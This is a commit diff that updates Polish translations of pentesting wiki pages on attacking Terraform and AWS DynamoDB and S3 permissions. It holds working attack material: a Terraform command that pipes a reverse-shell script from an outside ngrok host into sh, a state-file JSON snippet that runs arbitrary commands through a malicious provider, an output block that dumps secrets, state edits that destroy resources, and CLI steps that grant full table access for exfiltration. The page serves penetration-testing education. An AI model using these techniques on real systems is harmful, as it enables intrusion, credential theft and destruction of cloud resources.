Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

This commit is contained in:
Translator
2025-01-05 15:21:46 +00:00
parent d2bbefa833
commit f4df1a48f0
3 changed files with 125 additions and 49 deletions

View File

@@ -6,7 +6,7 @@
[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w plikach konfiguracyjnych czytelnych dla ludzi, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
#### Jak działa Terraform?
@@ -14,7 +14,7 @@ Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługa
![](<../images/image (177).png>)
HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Możesz znaleźć wszystkich publicznie dostępnych dostawców w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne dostawcy można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
Podstawowy przepływ pracy Terraform składa się z trzech etapów:
@@ -30,13 +30,13 @@ Po prostu zainstaluj terraform na swoim komputerze.
Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli), a tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads).
## RCE w Terraform
## RCE w Terraform: złośliwe modyfikacje pliku konfiguracyjnego
Terraform **nie ma platformy, która udostępnia stronę internetową lub usługę sieciową**, którą możemy zenumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform**.
Terraform **nie ma platformy, która udostępniałaby stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform** lub **możliwość modyfikacji pliku stanu terraform** (zobacz rozdział poniżej).
Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie.
Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprymowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**:
@@ -48,7 +48,7 @@ Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, ab
### Terraform plan
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używago cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform wywołuje cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
**Używając zewnętrznego dostawcy**
@@ -75,7 +75,7 @@ version = "1.0"
provider "evil" {}
```
Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany
Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany.
Możesz znaleźć przykład w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**.
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
## Zrzuty sekretów
Możesz uzyskać **zrzut wartości sekretów używanych przez terraform**, uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
Możesz uzyskać **wartości sekretów używanych przez terraform** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -124,13 +124,41 @@ value = nonsensitive(var.do_token)
```
## Wykorzystywanie plików stanu Terraform
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują kilka interesujących opcji, aby skorzystać z pliku:
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
### RCE w Terraform: złośliwe modyfikowanie pliku konfiguracyjnego
Możliwe jest [stworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie fałszywego zasobu odwołującego się do złośliwego dostawcy.
Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i określić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie proces `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełną demonstrację można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tablicy `resources` i dostosować atrybuty `name` i `command`:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
Wtedy, gdy `terraform` zostanie wykonany, twój kod zostanie uruchomiony.
### Usuwanie zasobów <a href="#deleting-resources" id="deleting-resources"></a>
Istnieją 2 sposoby na zniszczenie zasobów:
1. **Wstaw zasób o losowej nazwie do pliku stanu wskazujący na rzeczywisty zasób do zniszczenia**
1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia**
Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:
```json
@@ -150,24 +178,9 @@ Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgod
```
2. **Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)**
Dla instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
W przypadku instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
### RCE
Możliwe jest również [utworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie pustego zasobu z złośliwym dostawcą. Przykład z oryginalnych badań:
```json
"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [
]
},
```
### Zastąpienie zablokowanego dostawcy
### Zastąp zablokowanego dostawcę
W przypadku napotkania sytuacji, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować dostawcę `external`, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację.
```terraform
@@ -195,7 +208,7 @@ Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC)
- **Funkcje:**
- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
- Automatyczne pull requesty z poprawkami.
- Zautomatyzowane prośby o poprawki.
- Szczegółowe porady dotyczące usuwania problemów.
- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
```bash
@@ -208,26 +221,26 @@ snyk iac test /path/to/terraform/code
**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji związane z bezpieczeństwem i zgodnością, korzystając z skanowania opartego na grafach.
Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji związane z bezpieczeństwem i zgodnością za pomocą skanowania opartego na grafach.
Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE).
Wykonuje [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), które jest skanowaniem pakietów open source i obrazów w poszukiwaniu powszechnych luk w zabezpieczeniach (CVE).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, umożliwiające negatywne testowanie twojej infrastruktury jako kodu.
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów
- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
- **rozwój oparty na zachowaniu:** Mamy BDD dla prawie wszystkiego, dlaczego nie dla IaC?
- **przenośność:** wystarczy zainstalować z `pip` lub uruchomić przez `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem
- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest osobny zespół.
- **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
> [!NOTE]
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia.
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -245,7 +258,7 @@ Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje
- 🔗 Ocenia relacje między zasobami Terraform
- 🧰 Kompatybilny z Terraform CDK
- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego
- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego)
- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów
```bash
@@ -254,17 +267,17 @@ tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju twojej infrastruktury jako kodu z **KICS** od Checkmarx.
Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny dla każdego projektu opartego na chmurze.
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na:
Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan pozwala na:
- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji.
- Bezproblemowe skanowanie infrastruktury jako kodu w poszukiwaniu błędnych konfiguracji.
- Monitorowanie dostarczonej infrastruktury chmurowej pod kątem zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
@@ -278,5 +291,6 @@ brew install terrascan
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -10,14 +10,63 @@ Aby uzyskać więcej informacji na temat dynamodb, sprawdź:
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### `dynamodb:PutResourcePolicy`, a opcjonalnie `dynamodb:GetResourcePolicy`
Od marca 2024 roku AWS oferuje *polityki oparte na zasobach* dla DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
Więc, jeśli masz `dynamodb:PutResourcePolicy` dla tabeli, możesz po prostu przyznać sobie lub innemu podmiotowi pełny dostęp do tabeli.
Przyznawanie `dynamodb:PutResourcePolicy` losowemu podmiotowi często zdarza się przypadkowo, jeśli administratorzy myślą, że przyznanie `dynamodb:Put*` pozwoli tylko na dodawanie elementów do bazy danych - lub jeśli przyznali ten zestaw uprawnień przed marcem 2024...
Idealnie, powinieneś również mieć `dynamodb:GetResourcePolicy`, aby nie nadpisywać innych potencjalnie istotnych uprawnień, ale tylko wstrzykiwać dodatkowe uprawnienia, których potrzebujesz:
```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
```
Jeśli nie możesz pobrać bieżącej polityki, po prostu użyj tej, która przyznaje pełny dostęp do tabeli dla twojego podmiotu:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
```
Jeśli musisz dostosować, oto lista wszystkich możliwych akcji DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). A oto lista wszystkich akcji, które mogą być dozwolone za pomocą polityki opartej na zasobach *ORAZ które z nich mogą być używane między kontami (pomyśl o exfiltracji danych!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
Teraz, mając dokument polityki `policy.json` gotowy, wprowadź politykę zasobów:
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
```
Teraz powinieneś mieć potrzebne uprawnienia.
### Post Exploitation
Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na **stronie Post Exploitation DynamoDB**:
Z tego, co wiem, **nie ma innego bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na stronie **DynamoDB Post Exploitation**:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
{{#endref}}
### TODO: Czytaj dane, nadużywając strumieni danych
### TODO: Czytaj dane, wykorzystując strumienie danych
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -34,7 +34,7 @@ Na przykład, napastnik z tymi **uprawnieniami do bucketu cloudformation** o naz
]
}
```
I możliwe jest przejęcie, ponieważ istnieje **mały czas na przejęcie od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Atakujący może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy zostanie wysłane powiadomienie z koszyka**, i **przejąć** **zawartość** tego **koszyka**.
I możliwe jest przejęcie, ponieważ istnieje **mały przedział czasowy od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Napastnik może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy wysłane zostanie powiadomienie o koszyku**, i **przejąć** **zawartość** tego **koszyka**.
![](<../../../images/image (174).png>)
@@ -44,15 +44,28 @@ Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecu
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
To są uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa przechowywania S3 do przechowywania **plików konfiguracyjnych**.\
Atakujący z **dostępem do odczytu** do nich może znaleźć **wrażliwe informacje** w nich.\
Atakujący z **dostępem do zapisu** do nich mógłby **zmodyfikować dane, aby nadużyć jakiejś usługi i spróbować podnieść uprawnienia**.\
Napastnik z **dostępem do odczytu** do nich może znaleźć **wrażliwe informacje** w nich.\
Napastnik z **dostępem do zapisu** do nich mógłby **zmodyfikować dane, aby nadużyć jakiejś usługi i spróbować podnieść uprawnienia**.\
Oto kilka przykładów:
- Jeśli instancja EC2 przechowuje **dane użytkownika w koszyku S3**, atakujący mógłby je zmodyfikować, aby **wykonać dowolny kod wewnątrz instancji EC2**.
- Jeśli instancja EC2 przechowuje **dane użytkownika w koszyku S3**, napastnik mógłby je zmodyfikować, aby **wykonać dowolny kod wewnątrz instancji EC2**.
### `s3:PutObject`, `s3:GetObject` (opcjonalnie) nad plikiem stanu terraform
Bardzo często pliki stanu [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) są zapisywane w magazynie blob dostawców chmury, np. AWS S3. Sufiks pliku dla pliku stanu to `.tfstate`, a nazwy koszyków często również wskazują, że zawierają pliki stanu terraform. Zazwyczaj każde konto AWS ma jeden taki koszyk do przechowywania plików stanu, które pokazują stan konta.\
Również zazwyczaj, w rzeczywistych kontach prawie zawsze wszyscy deweloperzy mają `s3:*`, a czasami nawet użytkownicy biznesowi mają `s3:Put*`.
Więc, jeśli masz uprawnienia wymienione nad tymi plikami, istnieje wektor ataku, który pozwala ci uzyskać RCE w pipeline z uprawnieniami `terraform` - najczęściej `AdministratorAccess`, co czyni cię administratorem konta w chmurze. Możesz również użyć tego wektora do przeprowadzenia ataku typu denial of service, powodując, że `terraform` usunie legalne zasoby.
Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* na stronie *Terraform Security* w celu uzyskania bezpośrednio używalnego kodu exploit:
{{#ref}}
terraform-security.md#abusing-terraform-state-files
{{#endref}}
### `s3:PutBucketPolicy`
Atakujący, który musi być **z tego samego konta**, w przeciwnym razie wystąpi błąd `The specified method is not allowed`, z tym uprawnieniem będzie mógł przyznać sobie więcej uprawnień do koszyka(ów), co pozwoli mu na odczyt, zapis, modyfikację, usunięcie i ujawnienie koszyków.
Napastnik, który musi być **z tego samego konta**, w przeciwnym razie wystąpi błąd `The specified method is not allowed`, z tym uprawnieniem będzie mógł przyznać sobie więcej uprawnień do koszyka(ów), co pozwoli mu na odczyt, zapis, modyfikację, usunięcie i ujawnienie koszyków.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>